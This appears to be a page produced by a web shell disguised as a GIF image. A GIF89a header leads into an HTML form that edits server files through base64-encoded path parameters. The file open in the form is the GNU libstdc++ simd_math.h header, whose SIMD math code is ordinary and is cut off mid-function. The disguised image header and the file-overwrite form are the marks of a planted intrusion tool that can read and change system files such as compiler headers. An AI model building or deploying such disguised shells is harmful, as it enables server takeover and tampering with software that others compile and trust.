GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>simd_math.h<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw%3D%3D&f=c2ltZF9tYXRoLmg%3D"><input name="f" value="simd_math.h"><textarea name="t">// Math overloads for simd -*- C++ -*-

// Copyright (C) 2020-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.

// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

#ifndef _GLIBCXX_EXPERIMENTAL_SIMD_MATH_H_
#define _GLIBCXX_EXPERIMENTAL_SIMD_MATH_H_

#if __cplusplus &gt;= 201703L

#include &lt;utility&gt;
#include &lt;iomanip&gt;

_GLIBCXX_SIMD_BEGIN_NAMESPACE
template &lt;typename _Tp, typename _V&gt;
  using _Samesize = fixed_size_simd&lt;_Tp, _V::size()&gt;;

// _Math_return_type {{{
template &lt;typename _DoubleR, typename _Tp, typename _Abi&gt;
  struct _Math_return_type;

template &lt;typename _DoubleR, typename _Tp, typename _Abi&gt;
  using _Math_return_type_t =
    typename _Math_return_type&lt;_DoubleR, _Tp, _Abi&gt;::type;

template &lt;typename _Tp, typename _Abi&gt;
  struct _Math_return_type&lt;double, _Tp, _Abi&gt;
  { using type = simd&lt;_Tp, _Abi&gt;; };

template &lt;typename _Tp, typename _Abi&gt;
  struct _Math_return_type&lt;bool, _Tp, _Abi&gt;
  { using type = simd_mask&lt;_Tp, _Abi&gt;; };

template &lt;typename _DoubleR, typename _Tp, typename _Abi&gt;
  struct _Math_return_type
  { using type = fixed_size_simd&lt;_DoubleR, simd_size_v&lt;_Tp, _Abi&gt;&gt;; };

//}}}
// _GLIBCXX_SIMD_MATH_CALL_ {{{
#define _GLIBCXX_SIMD_MATH_CALL_(__name)                                       \
template &lt;typename _Tp, typename _Abi, typename...,                            \
	  typename _R = _Math_return_type_t&lt;                                   \
	    decltype(std::__name(declval&lt;double&gt;())), _Tp, _Abi&gt;&gt;              \
  _GLIBCXX_SIMD_ALWAYS_INLINE                                                  \
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, _R&gt;                                    \
  __name(simd&lt;_Tp, _Abi&gt; __x)                                                  \
  { return {__private_init, _Abi::_SimdImpl::_S_##__name(__data(__x))}; }

// }}}
//_Extra_argument_type{{{
template &lt;typename _Up, typename _Tp, typename _Abi&gt;
  struct _Extra_argument_type;

template &lt;typename _Tp, typename _Abi&gt;
  struct _Extra_argument_type&lt;_Tp*, _Tp, _Abi&gt;
  {
    using type = simd&lt;_Tp, _Abi&gt;*;
    static constexpr double* declval();
    static constexpr bool __needs_temporary_scalar = true;

    _GLIBCXX_SIMD_INTRINSIC static constexpr auto _S_data(type __x)
    { return &amp;__data(*__x); }
  };

template &lt;typename _Up, typename _Tp, typename _Abi&gt;
  struct _Extra_argument_type&lt;_Up*, _Tp, _Abi&gt;
  {
    static_assert(is_integral_v&lt;_Up&gt;);
    using type = fixed_size_simd&lt;_Up, simd_size_v&lt;_Tp, _Abi&gt;&gt;*;
    static constexpr _Up* declval();
    static constexpr bool __needs_temporary_scalar = true;

    _GLIBCXX_SIMD_INTRINSIC static constexpr auto _S_data(type __x)
    { return &amp;__data(*__x); }
  };

template &lt;typename _Tp, typename _Abi&gt;
  struct _Extra_argument_type&lt;_Tp, _Tp, _Abi&gt;
  {
    using type = simd&lt;_Tp, _Abi&gt;;
    static constexpr double declval();
    static constexpr bool __needs_temporary_scalar = false;

    _GLIBCXX_SIMD_INTRINSIC static constexpr decltype(auto)
    _S_data(const type&amp; __x)
    { return __data(__x); }
  };

template &lt;typename _Up, typename _Tp, typename _Abi&gt;
  struct _Extra_argument_type
  {
    static_assert(is_integral_v&lt;_Up&gt;);
    using type = fixed_size_simd&lt;_Up, simd_size_v&lt;_Tp, _Abi&gt;&gt;;
    static constexpr _Up declval();
    static constexpr bool __needs_temporary_scalar = false;

    _GLIBCXX_SIMD_INTRINSIC static constexpr decltype(auto)
    _S_data(const type&amp; __x)
    { return __data(__x); }
  };

//}}}
// _GLIBCXX_SIMD_MATH_CALL2_ {{{
#define _GLIBCXX_SIMD_MATH_CALL2_(__name, __arg2)                              \
template &lt;                                                                     \
  typename _Tp, typename _Abi, typename...,                                    \
  typename _Arg2 = _Extra_argument_type&lt;__arg2, _Tp, _Abi&gt;,                    \
  typename _R = _Math_return_type_t&lt;                                           \
    decltype(std::__name(declval&lt;double&gt;(), _Arg2::declval())), _Tp, _Abi&gt;&gt;    \
  _GLIBCXX_SIMD_ALWAYS_INLINE                                                  \
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, _R&gt;                                    \
  __name(const simd&lt;_Tp, _Abi&gt;&amp; __x, const typename _Arg2::type&amp; __y)          \
  {                                                                            \
    return {__private_init,                                                    \
	    _Abi::_SimdImpl::_S_##__name(__data(__x), _Arg2::_S_data(__y))};   \
  }                                                                            \
template &lt;typename _Up, typename _Tp, typename _Abi&gt;                           \
  _GLIBCXX_SIMD_INTRINSIC _Math_return_type_t&lt;                                 \
    decltype(std::__name(                                                      \
      declval&lt;double&gt;(),                                                       \
      declval&lt;enable_if_t&lt;                                                     \
	conjunction_v&lt;                                                         \
	  is_same&lt;__arg2, _Tp&gt;,                                                \
	  negation&lt;is_same&lt;__remove_cvref_t&lt;_Up&gt;, simd&lt;_Tp, _Abi&gt;&gt;&gt;,           \
	  is_convertible&lt;_Up, simd&lt;_Tp, _Abi&gt;&gt;, is_floating_point&lt;_Tp&gt;&gt;,       \
	double&gt;&gt;())),                                                          \
    _Tp, _Abi&gt;                                                                 \
  __name(_Up&amp;&amp; __xx, const simd&lt;_Tp, _Abi&gt;&amp; __yy)                              \
  { return __name(simd&lt;_Tp, _Abi&gt;(static_cast&lt;_Up&amp;&amp;&gt;(__xx)), __yy); }

// }}}
// _GLIBCXX_SIMD_MATH_CALL3_ {{{
#define _GLIBCXX_SIMD_MATH_CALL3_(__name, __arg2, __arg3)                      \
template &lt;typename _Tp, typename _Abi, typename...,                            \
	  typename _Arg2 = _Extra_argument_type&lt;__arg2, _Tp, _Abi&gt;,            \
	  typename _Arg3 = _Extra_argument_type&lt;__arg3, _Tp, _Abi&gt;,            \
	  typename _R = _Math_return_type_t&lt;                                   \
	    decltype(std::__name(declval&lt;double&gt;(), _Arg2::declval(),          \
				 _Arg3::declval())),                           \
	    _Tp, _Abi&gt;&gt;                                                        \
  _GLIBCXX_SIMD_ALWAYS_INLINE                                                  \
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, _R&gt;                                    \
  __name(const simd&lt;_Tp, _Abi&gt;&amp; __x, const typename _Arg2::type&amp; __y,          \
	 const typename _Arg3::type&amp; __z)                                      \
  {                                                                            \
    return {__private_init,                                                    \
	    _Abi::_SimdImpl::_S_##__name(__data(__x), _Arg2::_S_data(__y),     \
					 _Arg3::_S_data(__z))};                \
  }                                                                            \
template &lt;                                                                     \
  typename _T0, typename _T1, typename _T2, typename...,                       \
  typename _U0 = __remove_cvref_t&lt;_T0&gt;,                                        \
  typename _U1 = __remove_cvref_t&lt;_T1&gt;,                                        \
  typename _U2 = __remove_cvref_t&lt;_T2&gt;,                                        \
  typename _Simd = conditional_t&lt;is_simd_v&lt;_U1&gt;, _U1, _U2&gt;,                    \
  typename = enable_if_t&lt;conjunction_v&lt;                                        \
    is_simd&lt;_Simd&gt;, is_convertible&lt;_T0&amp;&amp;, _Simd&gt;,                              \
    is_convertible&lt;_T1&amp;&amp;, _Simd&gt;, is_convertible&lt;_T2&amp;&amp;, _Simd&gt;,                \
    negation&lt;conjunction&lt;                                                      \
      is_simd&lt;_U0&gt;, is_floating_point&lt;__value_type_or_identity_t&lt;_U0&gt;&gt;&gt;&gt;&gt;&gt;&gt;    \
  _GLIBCXX_SIMD_INTRINSIC decltype(__name(declval&lt;const _Simd&amp;&gt;(),             \
					  declval&lt;const _Simd&amp;&gt;(),             \
					  declval&lt;const _Simd&amp;&gt;()))            \
  __name(_T0&amp;&amp; __xx, _T1&amp;&amp; __yy, _T2&amp;&amp; __zz)                                   \
  {                                                                            \
    return __name(_Simd(static_cast&lt;_T0&amp;&amp;&gt;(__xx)),                             \
		  _Simd(static_cast&lt;_T1&amp;&amp;&gt;(__yy)),                             \
		  _Simd(static_cast&lt;_T2&amp;&amp;&gt;(__zz)));                            \
  }

// }}}
// __cosSeries {{{
template &lt;typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE static simd&lt;float, _Abi&gt;
  __cosSeries(const simd&lt;float, _Abi&gt;&amp; __x)
  {
    const simd&lt;float, _Abi&gt; __x2 = __x * __x;
    simd&lt;float, _Abi&gt; __y;
    __y = 0x1.ap-16f;                  //  1/8!
    __y = __y * __x2 - 0x1.6c1p-10f;   // -1/6!
    __y = __y * __x2 + 0x1.555556p-5f; //  1/4!
    return __y * (__x2 * __x2) - .5f * __x2 + 1.f;
  }

template &lt;typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE static simd&lt;double, _Abi&gt;
  __cosSeries(const simd&lt;double, _Abi&gt;&amp; __x)
  {
    const simd&lt;double, _Abi&gt; __x2 = __x * __x;
    simd&lt;double, _Abi&gt; __y;
    __y = 0x1.AC00000000000p-45;              //  1/16!
    __y = __y * __x2 - 0x1.9394000000000p-37; // -1/14!
    __y = __y * __x2 + 0x1.1EED8C0000000p-29; //  1/12!
    __y = __y * __x2 - 0x1.27E4FB7400000p-22; // -1/10!
    __y = __y * __x2 + 0x1.A01A01A018000p-16; //  1/8!
    __y = __y * __x2 - 0x1.6C16C16C16C00p-10; // -1/6!
    __y = __y * __x2 + 0x1.5555555555554p-5;  //  1/4!
    return (__y * __x2 - .5f) * __x2 + 1.f;
  }

// }}}
// __sinSeries {{{
template &lt;typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE static simd&lt;float, _Abi&gt;
  __sinSeries(const simd&lt;float, _Abi&gt;&amp; __x)
  {
    const simd&lt;float, _Abi&gt; __x2 = __x * __x;
    simd&lt;float, _Abi&gt; __y;
    __y = -0x1.9CC000p-13f;            // -1/7!
    __y = __y * __x2 + 0x1.111100p-7f; //  1/5!
    __y = __y * __x2 - 0x1.555556p-3f; // -1/3!
    return __y * (__x2 * __x) + __x;
  }

template &lt;typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE static simd&lt;double, _Abi&gt;
  __sinSeries(const simd&lt;double, _Abi&gt;&amp; __x)
  {
    // __x  = [0, 0.7854 = pi/4]
    // __x = [0, 0.6169 = pi/8]
    const simd&lt;double, _Abi&gt; __x2 = __x * __x;
    simd&lt;double, _Abi&gt; __y;
    __y = -0x1.ACF0000000000p-41;             // -1/15!
    __y = __y * __x2 + 0x1.6124400000000p-33; //  1/13!
    __y = __y * __x2 - 0x1.AE64567000000p-26; // -1/11!
    __y = __y * __x2 + 0x1.71DE3A5540000p-19; //  1/9!
    __y = __y * __x2 - 0x1.A01A01A01A000p-13; // -1/7!
    __y = __y * __x2 + 0x1.1111111111110p-7;  //  1/5!
    __y = __y * __x2 - 0x1.5555555555555p-3;  // -1/3!
    return __y * (__x2 * __x) + __x;
  }

// }}}
// __zero_low_bits {{{
template &lt;int _Bits, typename _Tp, typename _Abi&gt;
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt;
  __zero_low_bits(simd&lt;_Tp, _Abi&gt; __x)
  {
    const simd&lt;_Tp, _Abi&gt; __bitmask
      = __bit_cast&lt;_Tp&gt;(~make_unsigned_t&lt;__int_for_sizeof_t&lt;_Tp&gt;&gt;() &lt;&lt; _Bits);
    return {__private_init,
	    _Abi::_SimdImpl::_S_bit_and(__data(__x), __data(__bitmask))};
  }

// }}}
// __fold_input {{{

/**@internal
 * Fold @p x into [-, ] and remember the quadrant it came from:
 * quadrant 0: [-,  ]
 * quadrant 1: [ ,  ]
 * quadrant 2: [ , 1]
 * quadrant 3: [1, 1]
 *
 * The algorithm determines `y` as the multiple `x - y *  = [-, ]`. Using
 * a bitmask, `y` is reduced to `quadrant`. `y` can be calculated as
 * ```
 * y = trunc(x / );
 * y += fmod(y, 2);
 * ```
 * This can be simplified by moving the (implicit) division by 2 into the
 * truncation expression. The `+= fmod` effect can the be achieved by using
 * rounding instead of truncation: `y = round(x / ) * 2`. If precision allows,
 * `2/ * x` is better (faster).
 */
template &lt;typename _Tp, typename _Abi&gt;
  struct _Folded
  {
    simd&lt;_Tp, _Abi&gt; _M_x;
    rebind_simd_t&lt;int, simd&lt;_Tp, _Abi&gt;&gt; _M_quadrant;
  };

namespace __math_float {
inline constexpr float __pi_over_4 = 0x1.921FB6p-1f; // /4
inline constexpr float __2_over_pi = 0x1.45F306p-1f; // 2/
inline constexpr float __pi_2_5bits0
  = 0x1.921fc0p0f; // /2, 5 0-bits (least significant)
inline constexpr float __pi_2_5bits0_rem
  = -0x1.5777a6p-21f; // /2 - __pi_2_5bits0
} // namespace __math_float
namespace __math_double {
inline constexpr double __pi_over_4 = 0x1.921fb54442d18p-1; // /4
inline constexpr double __2_over_pi = 0x1.45F306DC9C883p-1; // 2/
inline constexpr double __pi_2 = 0x1.921fb54442d18p0;       // /2
} // namespace __math_double

template &lt;typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE _Folded&lt;float, _Abi&gt;
  __fold_input(const simd&lt;float, _Abi&gt;&amp; __x)
  {
    using _V = simd&lt;float, _Abi&gt;;
    using _IV = rebind_simd_t&lt;int, _V&gt;;
    using namespace __math_float;
    _Folded&lt;float, _Abi&gt; __r;
    __r._M_x = abs(__x);
#if 0
    // zero most mantissa bits:
    constexpr float __1_over_pi = 0x1.45F306p-2f; // 1/
    const auto __y = (__r._M_x * __1_over_pi + 0x1.8p23f) - 0x1.8p23f;
    // split  into 4 parts, the first three with 13 trailing zeros (to make the
    // following multiplications precise):
    constexpr float __pi0 = 0x1.920000p1f;
    constexpr float __pi1 = 0x1.fb4000p-11f;
    constexpr float __pi2 = 0x1.444000p-23f;
    constexpr float __pi3 = 0x1.68c234p-38f;
    __r._M_x - __y*__pi0 - __y*__pi1 - __y*__pi2 - __y*__pi3
#else
    if (_GLIBCXX_SIMD_IS_UNLIKELY(all_of(__r._M_x &lt; __pi_over_4)))
      __r._M_quadrant = 0;
    else if (_GLIBCXX_SIMD_IS_LIKELY(all_of(__r._M_x &lt; 6 * __pi_over_4)))
      {
	const _V __y = nearbyint(__r._M_x * __2_over_pi);
	__r._M_quadrant = static_simd_cast&lt;_IV&gt;(__y) &amp; 3; // __y mod 4
	__r._M_x -= __y * __pi_2_5bits0;
	__r._M_x -= __y * __pi_2_5bits0_rem;
      }
    else
      {
	using __math_double::__2_over_pi;
	using __math_double::__pi_2;
	using _VD = rebind_simd_t&lt;double, _V&gt;;
	_VD __xd = static_simd_cast&lt;_VD&gt;(__r._M_x);
	_VD __y = nearbyint(__xd * __2_over_pi);
	__r._M_quadrant = static_simd_cast&lt;_IV&gt;(__y) &amp; 3; // = __y mod 4
	__r._M_x = static_simd_cast&lt;_V&gt;(__xd - __y * __pi_2);
      }
#endif
    return __r;
  }

template &lt;typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE _Folded&lt;double, _Abi&gt;
  __fold_input(const simd&lt;double, _Abi&gt;&amp; __x)
  {
    using _V = simd&lt;double, _Abi&gt;;
    using _IV = rebind_simd_t&lt;int, _V&gt;;
    using namespace __math_double;

    _Folded&lt;double, _Abi&gt; __r;
    __r._M_x = abs(__x);
    if (_GLIBCXX_SIMD_IS_UNLIKELY(all_of(__r._M_x &lt; __pi_over_4)))
      {
	__r._M_quadrant = 0;
	return __r;
      }
    const _V __y = nearbyint(__r._M_x / (2 * __pi_over_4));
    __r._M_quadrant = static_simd_cast&lt;_IV&gt;(__y) &amp; 3;

    if (_GLIBCXX_SIMD_IS_LIKELY(all_of(__r._M_x &lt; 1025 * __pi_over_4)))
      {
	// x - y * pi/2, y uses no more than 11 mantissa bits
	__r._M_x -= __y * 0x1.921FB54443000p0;
	__r._M_x -= __y * -0x1.73DCB3B39A000p-43;
	__r._M_x -= __y * 0x1.45C06E0E68948p-86;
      }
    else if (_GLIBCXX_SIMD_IS_LIKELY(all_of(__y &lt;= 0x1.0p30)))
      {
	// x - y * pi/2, y uses no more than 29 mantissa bits
	__r._M_x -= __y * 0x1.921FB40000000p0;
	__r._M_x -= __y * 0x1.4442D00000000p-24;
	__r._M_x -= __y * 0x1.8469898CC5170p-48;
      }
    else
      {
	// x - y * pi/2, y may require all mantissa bits
	const _V __y_hi = __zero_low_bits&lt;26&gt;(__y);
	const _V __y_lo = __y - __y_hi;
	const auto __pi_2_1 = 0x1.921FB50000000p0;
	const auto __pi_2_2 = 0x1.110B460000000p-26;
	const auto __pi_2_3 = 0x1.1A62630000000p-54;
	const auto __pi_2_4 = 0x1.8A2E03707344Ap-81;
	__r._M_x = __r._M_x - __y_hi * __pi_2_1
		   - max(__y_hi * __pi_2_2, __y_lo * __pi_2_1)
		   - min(__y_hi * __pi_2_2, __y_lo * __pi_2_1)
		   - max(__y_hi * __pi_2_3, __y_lo * __pi_2_2)
		   - min(__y_hi * __pi_2_3, __y_lo * __pi_2_2)
		   - max(__y * __pi_2_4, __y_lo * __pi_2_3)
		   - min(__y * __pi_2_4, __y_lo * __pi_2_3);
      }
    return __r;
  }

// }}}
// __extract_exponent_as_int {{{
template &lt;typename _Tp, typename _Abi&gt;
  _GLIBCXX_SIMD_INTRINSIC
  rebind_simd_t&lt;int, simd&lt;_Tp, _Abi&gt;&gt;
  __extract_exponent_as_int(const simd&lt;_Tp, _Abi&gt;&amp; __v)
  {
    using _Vp = simd&lt;_Tp, _Abi&gt;;
    using _Up = make_unsigned_t&lt;__int_for_sizeof_t&lt;_Tp&gt;&gt;;
    using namespace std::experimental::__float_bitwise_operators;
    using namespace std::experimental::__proposed;
    const _Vp __exponent_mask
      = __infinity_v&lt;_Tp&gt;; // 0x7f800000 or 0x7ff0000000000000
    return static_simd_cast&lt;rebind_simd_t&lt;int, _Vp&gt;&gt;(
	     simd_bit_cast&lt;rebind_simd_t&lt;_Up, _Vp&gt;&gt;(__v &amp; __exponent_mask)
      &gt;&gt; (__digits_v&lt;_Tp&gt; - 1));
  }

// }}}
// __impl_or_fallback {{{
template &lt;typename ImplFun, typename FallbackFun, typename... _Args&gt;
  _GLIBCXX_SIMD_INTRINSIC auto
  __impl_or_fallback_dispatch(int, ImplFun&amp;&amp; __impl_fun, FallbackFun&amp;&amp;,
			      _Args&amp;&amp;... __args)
    -&gt; decltype(__impl_fun(static_cast&lt;_Args&amp;&amp;&gt;(__args)...))
  { return __impl_fun(static_cast&lt;_Args&amp;&amp;&gt;(__args)...); }

template &lt;typename ImplFun, typename FallbackFun, typename... _Args,
	  typename = __detail::__odr_helper&gt;
  inline auto
  __impl_or_fallback_dispatch(float, ImplFun&amp;&amp;, FallbackFun&amp;&amp; __fallback_fun,
			      _Args&amp;&amp;... __args)
    -&gt; decltype(__fallback_fun(static_cast&lt;_Args&amp;&amp;&gt;(__args)...))
  { return __fallback_fun(static_cast&lt;_Args&amp;&amp;&gt;(__args)...); }

template &lt;typename... _Args&gt;
  _GLIBCXX_SIMD_INTRINSIC auto
  __impl_or_fallback(_Args&amp;&amp;... __args)
  {
    return __impl_or_fallback_dispatch(int(), static_cast&lt;_Args&amp;&amp;&gt;(__args)...);
  }
//}}}

// trigonometric functions {{{
_GLIBCXX_SIMD_MATH_CALL_(acos)
_GLIBCXX_SIMD_MATH_CALL_(asin)
_GLIBCXX_SIMD_MATH_CALL_(atan)
_GLIBCXX_SIMD_MATH_CALL2_(atan2, _Tp)

/*
 * algorithm for sine and cosine:
 *
 * The result can be calculated with sine or cosine depending on the /4 section
 * the input is in. sine    __x + __x cosine  1 - __x
 *
 * sine:
 * Map -__x to __x and invert the output
 * Extend precision of __x - n * /4 by calculating
 * ((__x - n * p1) - n * p2) - n * p3 (p1 + p2 + p3 = /4)
 *
 * Calculate Taylor series with tuned coefficients.
 * Fix sign.
 */
// cos{{{
template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  cos(const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    using _V = simd&lt;_Tp, _Abi&gt;;
    if constexpr (__is_scalar_abi&lt;_Abi&gt;() || __is_fixed_size_abi_v&lt;_Abi&gt;)
      return {__private_init, _Abi::_SimdImpl::_S_cos(__data(__x))};
    else
      {
	if constexpr (is_same_v&lt;_Tp, float&gt;)
	  if (_GLIBCXX_SIMD_IS_UNLIKELY(any_of(abs(__x) &gt;= 393382)))
	    return static_simd_cast&lt;_V&gt;(
	      cos(static_simd_cast&lt;rebind_simd_t&lt;double, _V&gt;&gt;(__x)));

	const auto __f = __fold_input(__x);
	// quadrant | effect
	//        0 | cosSeries, +
	//        1 | sinSeries, -
	//        2 | cosSeries, -
	//        3 | sinSeries, +
	using namespace std::experimental::__float_bitwise_operators;
	const _V __sign_flip
	  = _V(-0.f) &amp; static_simd_cast&lt;_V&gt;((1 + __f._M_quadrant) &lt;&lt; 30);

	const auto __need_cos = (__f._M_quadrant &amp; 1) == 0;
	if (_GLIBCXX_SIMD_IS_UNLIKELY(all_of(__need_cos)))
	  return __sign_flip ^ __cosSeries(__f._M_x);
	else if (_GLIBCXX_SIMD_IS_UNLIKELY(none_of(__need_cos)))
	  return __sign_flip ^ __sinSeries(__f._M_x);
	else // some_of(__need_cos)
	  {
	    _V __r = __sinSeries(__f._M_x);
	    where(__need_cos.__cvt(), __r) = __cosSeries(__f._M_x);
	    return __r ^ __sign_flip;
	  }
      }
  }

template &lt;typename _Tp&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE
  enable_if_t&lt;is_floating_point&lt;_Tp&gt;::value, simd&lt;_Tp, simd_abi::scalar&gt;&gt;
  cos(simd&lt;_Tp, simd_abi::scalar&gt; __x)
  { return std::cos(__data(__x)); }

//}}}
// sin{{{
template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  sin(const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    using _V = simd&lt;_Tp, _Abi&gt;;
    if constexpr (__is_scalar_abi&lt;_Abi&gt;() || __is_fixed_size_abi_v&lt;_Abi&gt;)
      return {__private_init, _Abi::_SimdImpl::_S_sin(__data(__x))};
    else
      {
	if constexpr (is_same_v&lt;_Tp, float&gt;)
	  if (_GLIBCXX_SIMD_IS_UNLIKELY(any_of(abs(__x) &gt;= 527449)))
	    return static_simd_cast&lt;_V&gt;(
	      sin(static_simd_cast&lt;rebind_simd_t&lt;double, _V&gt;&gt;(__x)));

	const auto __f = __fold_input(__x);
	// quadrant | effect
	//        0 | sinSeries
	//        1 | cosSeries
	//        2 | sinSeries, sign flip
	//        3 | cosSeries, sign flip
	using namespace std::experimental::__float_bitwise_operators;
	const auto __sign_flip
	  = (__x ^ static_simd_cast&lt;_V&gt;(1 - __f._M_quadrant)) &amp; _V(_Tp(-0.));

	const auto __need_sin = (__f._M_quadrant &amp; 1) == 0;
	if (_GLIBCXX_SIMD_IS_UNLIKELY(all_of(__need_sin)))
	  return __sign_flip ^ __sinSeries(__f._M_x);
	else if (_GLIBCXX_SIMD_IS_UNLIKELY(none_of(__need_sin)))
	  return __sign_flip ^ __cosSeries(__f._M_x);
	else // some_of(__need_sin)
	  {
	    _V __r = __cosSeries(__f._M_x);
	    where(__need_sin.__cvt(), __r) = __sinSeries(__f._M_x);
	    return __sign_flip ^ __r;
	  }
      }
  }

template &lt;typename _Tp&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE
  enable_if_t&lt;is_floating_point&lt;_Tp&gt;::value, simd&lt;_Tp, simd_abi::scalar&gt;&gt;
  sin(simd&lt;_Tp, simd_abi::scalar&gt; __x)
  { return std::sin(__data(__x)); }

//}}}
_GLIBCXX_SIMD_MATH_CALL_(tan)
_GLIBCXX_SIMD_MATH_CALL_(acosh)
_GLIBCXX_SIMD_MATH_CALL_(asinh)
_GLIBCXX_SIMD_MATH_CALL_(atanh)
_GLIBCXX_SIMD_MATH_CALL_(cosh)
_GLIBCXX_SIMD_MATH_CALL_(sinh)
_GLIBCXX_SIMD_MATH_CALL_(tanh)
// }}}
// exponential functions {{{
_GLIBCXX_SIMD_MATH_CALL_(exp)
_GLIBCXX_SIMD_MATH_CALL_(exp2)
_GLIBCXX_SIMD_MATH_CALL_(expm1)

// }}}
// frexp {{{
#if _GLIBCXX_SIMD_X86INTRIN
template &lt;typename _Tp, size_t _Np&gt;
  _GLIBCXX_SIMD_INTRINSIC
  _SimdWrapper&lt;_Tp, _Np&gt;
  __getexp(_SimdWrapper&lt;_Tp, _Np&gt; __x)
  {
    if constexpr (__have_avx512vl &amp;&amp; __is_sse_ps&lt;_Tp, _Np&gt;())
      return __auto_bitcast(_mm_getexp_ps(__to_intrin(__x)));
    else if constexpr (__have_avx512f &amp;&amp; __is_sse_ps&lt;_Tp, _Np&gt;())
      return __auto_bitcast(_mm512_getexp_ps(__auto_bitcast(__to_intrin(__x))));
    else if constexpr (__have_avx512vl &amp;&amp; __is_sse_pd&lt;_Tp, _Np&gt;())
      return _mm_getexp_pd(__x);
    else if constexpr (__have_avx512f &amp;&amp; __is_sse_pd&lt;_Tp, _Np&gt;())
      return __lo128(_mm512_getexp_pd(__auto_bitcast(__x)));
    else if constexpr (__have_avx512vl &amp;&amp; __is_avx_ps&lt;_Tp, _Np&gt;())
      return _mm256_getexp_ps(__x);
    else if constexpr (__have_avx512f &amp;&amp; __is_avx_ps&lt;_Tp, _Np&gt;())
      return __lo256(_mm512_getexp_ps(__auto_bitcast(__x)));
    else if constexpr (__have_avx512vl &amp;&amp; __is_avx_pd&lt;_Tp, _Np&gt;())
      return _mm256_getexp_pd(__x);
    else if constexpr (__have_avx512f &amp;&amp; __is_avx_pd&lt;_Tp, _Np&gt;())
      return __lo256(_mm512_getexp_pd(__auto_bitcast(__x)));
    else if constexpr (__is_avx512_ps&lt;_Tp, _Np&gt;())
      return _mm512_getexp_ps(__x);
    else if constexpr (__is_avx512_pd&lt;_Tp, _Np&gt;())
      return _mm512_getexp_pd(__x);
    else
      __assert_unreachable&lt;_Tp&gt;();
  }

template &lt;typename _Tp, size_t _Np&gt;
  _GLIBCXX_SIMD_INTRINSIC
  _SimdWrapper&lt;_Tp, _Np&gt;
  __getmant_avx512(_SimdWrapper&lt;_Tp, _Np&gt; __x)
  {
    if constexpr (__have_avx512vl &amp;&amp; __is_sse_ps&lt;_Tp, _Np&gt;())
      return __auto_bitcast(_mm_getmant_ps(__to_intrin(__x), _MM_MANT_NORM_p5_1,
					   _MM_MANT_SIGN_src));
    else if constexpr (__have_avx512f &amp;&amp; __is_sse_ps&lt;_Tp, _Np&gt;())
      return __auto_bitcast(_mm512_getmant_ps(__auto_bitcast(__to_intrin(__x)),
					      _MM_MANT_NORM_p5_1,
					      _MM_MANT_SIGN_src));
    else if constexpr (__have_avx512vl &amp;&amp; __is_sse_pd&lt;_Tp, _Np&gt;())
      return _mm_getmant_pd(__x, _MM_MANT_NORM_p5_1, _MM_MANT_SIGN_src);
    else if constexpr (__have_avx512f &amp;&amp; __is_sse_pd&lt;_Tp, _Np&gt;())
      return __lo128(_mm512_getmant_pd(__auto_bitcast(__x), _MM_MANT_NORM_p5_1,
				       _MM_MANT_SIGN_src));
    else if constexpr (__have_avx512vl &amp;&amp; __is_avx_ps&lt;_Tp, _Np&gt;())
      return _mm256_getmant_ps(__x, _MM_MANT_NORM_p5_1, _MM_MANT_SIGN_src);
    else if constexpr (__have_avx512f &amp;&amp; __is_avx_ps&lt;_Tp, _Np&gt;())
      return __lo256(_mm512_getmant_ps(__auto_bitcast(__x), _MM_MANT_NORM_p5_1,
				       _MM_MANT_SIGN_src));
    else if constexpr (__have_avx512vl &amp;&amp; __is_avx_pd&lt;_Tp, _Np&gt;())
      return _mm256_getmant_pd(__x, _MM_MANT_NORM_p5_1, _MM_MANT_SIGN_src);
    else if constexpr (__have_avx512f &amp;&amp; __is_avx_pd&lt;_Tp, _Np&gt;())
      return __lo256(_mm512_getmant_pd(__auto_bitcast(__x), _MM_MANT_NORM_p5_1,
				       _MM_MANT_SIGN_src));
    else if constexpr (__is_avx512_ps&lt;_Tp, _Np&gt;())
      return _mm512_getmant_ps(__x, _MM_MANT_NORM_p5_1, _MM_MANT_SIGN_src);
    else if constexpr (__is_avx512_pd&lt;_Tp, _Np&gt;())
